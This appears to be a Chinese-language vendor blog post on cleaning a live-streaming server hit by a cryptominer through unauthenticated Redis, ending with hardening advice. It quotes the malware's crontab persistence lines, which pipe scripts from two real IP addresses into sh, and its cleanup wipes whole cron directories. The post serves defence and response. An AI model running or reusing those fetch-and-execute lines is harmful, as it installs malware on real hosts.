搭建這一對一直播源碼的服務器中，用戶信息量眾多，一旦被黑，后果難以挽回，比如被植入惡意文件或腳本，造成主機被控制或癱瘓，從而影響正常程序運行，以下是云豹運維團隊給出的解決處理方案，僅供參考，祝您盡快處理好問題。

一、 服務器資源超負荷

承載著一對一直播源碼的服務器被黑后，通常會很明顯的有服務器資源負載超額，例如cpu 或者帶寬高負荷

 此時，應先看top進程使用情況

# top
top - 18:10:50 up 196 days, 18:59,  2 users,  load average: 4.47, 4.21, 4.11
Tasks: 163 total,   1 running, 162 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  1.6 sy, 98.4 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 16267972 total,   185160 free, 14179644 used,  1903168 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1689432 avail Mem
Which user (blank for all)
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20   0  541132  50260      0 S 400.0  0.3  78595:40 imWBR1
    1 root      20   0   43296   2364   1112 S   0.0  0.0  52:21.51 systemd

根據CPU使用率排序，可以看到排行第一imWBR1的CPU使用率是400%，它的進程id是16634

根據它的進程查看命令情況

# ps 16634
PID TTY      STAT   TIME COMMAND
16634 ?        Ssl  78597:57 /tmp/imWBR1

可以看到它是從/tmp/imWBR1運行的

那么我們查看該目錄下的執行文件

 ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6

可以看到ddg.2021是綠色的，那么可以肯定它就是該程序的啟動命令或者是守護程序

當我kill 16634后 它之后依然會出現在進程中，顯然他是殺不死的，因此尋找命令有

ddg.2021會發現它也有一個自己的進程一直在跑

top之后看下

 #top
PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20   0  541132  50260      0 S 399.3  0.3  78613:31 imWBR1
3195 root      20   0 8030128 1.647g      0 S   0.3 10.6  47:12.17 java
10111 root      20   0 1565408  71356    888 S   0.3  0.4 951:29.45 ddg.2021

看到ddg.2021的進程id是10111

那么先刪除命令腳本，在殺死進程

 rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634

殺不死的小強

顯然它在15分鐘后開始自啟動了，接著大概在18：37分鐘的時候它又開始工作了，重新開啟399.7%CPU

進程情況如下

 PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2791 root      20   0  541148  44416   1000 S 399.7  0.3  40:45.54 imWBR1
 2607 root      20   0  310392   9268   5776 S   0.3  0.1   0:01.14 ddg.2021
 4292 root      20   0   27768   1584    516 S   0.3  0.0  26:33.63 redis-server
 7110 root      20   0  251348  16712   3072 S   0.3  0.1 181:11.61 AliYunDun

而/tmp目錄中又出現了ddg.2021，而且還多了imWBR1 

ls /tmp/
ddg.2021
hsperfdata_root
imWBR1

再次刪除并殺掉進程

rm -f /tmp/ddg.2021  /tmp/imWBR1
kill -9 2791
kill -9 2607

推測：應該是有定時任務在不停的檢測是否程序被殺死了，如果殺死了并且可執行文件也被刪除了那么它就會自動下載源程序并且啟動執行腳本。

去/var/spool/cron這個文件夾看了下，看看它的定時任務內容

cat  /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

可以看出它有兩個定時任務

刪除/var/spool/cron下的內容

rm -fr  /var/spool/cron/
 
 
ps -aux|grep ddg
3458  /tmp/ddg.2021
kill -9 3458
 
ps -aux|grep imWBR1
3649  /tmp/imWBR1
kill -9 3649
 
rm -f /tmp/ddg.2021  /tmp/imWBR1

清空/etc/crontab中的定時任務

接著找定時任務，在/etc/crontab找到一個，看ip就覺得有問題

cat /etc/crontab
REDIS0006?cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh

清空該定時任務

 
echo '' > /etc/crontab

二、 承載一對一直播源碼的服務器被黑原因分析：

承載一對一直播源碼的服務器中，Redis 因配置不當存在未授權訪問漏洞，可以被攻擊者惡意利用。

在特定條件下，如果 Redis 以 root 身份運行，黑客可以給 root 賬號寫入 SSH 公鑰文件，直接通過 SSH 登錄受害服務器，從而獲取服務器權限和數據。一旦入侵成功，攻擊者可直接添加賬號用于 SSH 遠程登錄控制服務器，給用戶的 Redis 運行環境以及 Linux 主機帶來安全風險，如刪除、泄露或加密重要數據。

三、 建議修復方案

此方案需重啟redis才能生效

1、綁定需要訪問數據庫的IP 
修改 redis.conf 中的 “bind 127.0.0.1” ，改成需要訪問此數據庫的IP地址。

2、設置訪問密碼 
在 redis.conf 中找到“requirepass”字段，在后面填上你需要的密碼。

3、修改redis服務運行賬號 
請以較低權限賬號運行redis服務，且禁用該賬號的登錄權限。

以上就是本文《承載一對一直播源碼的服務器被黑后的處理方案》的全部內容，如果您在一對一直播源碼搭建過程中遇到被黑問題，可以嘗試本文方案進行處理。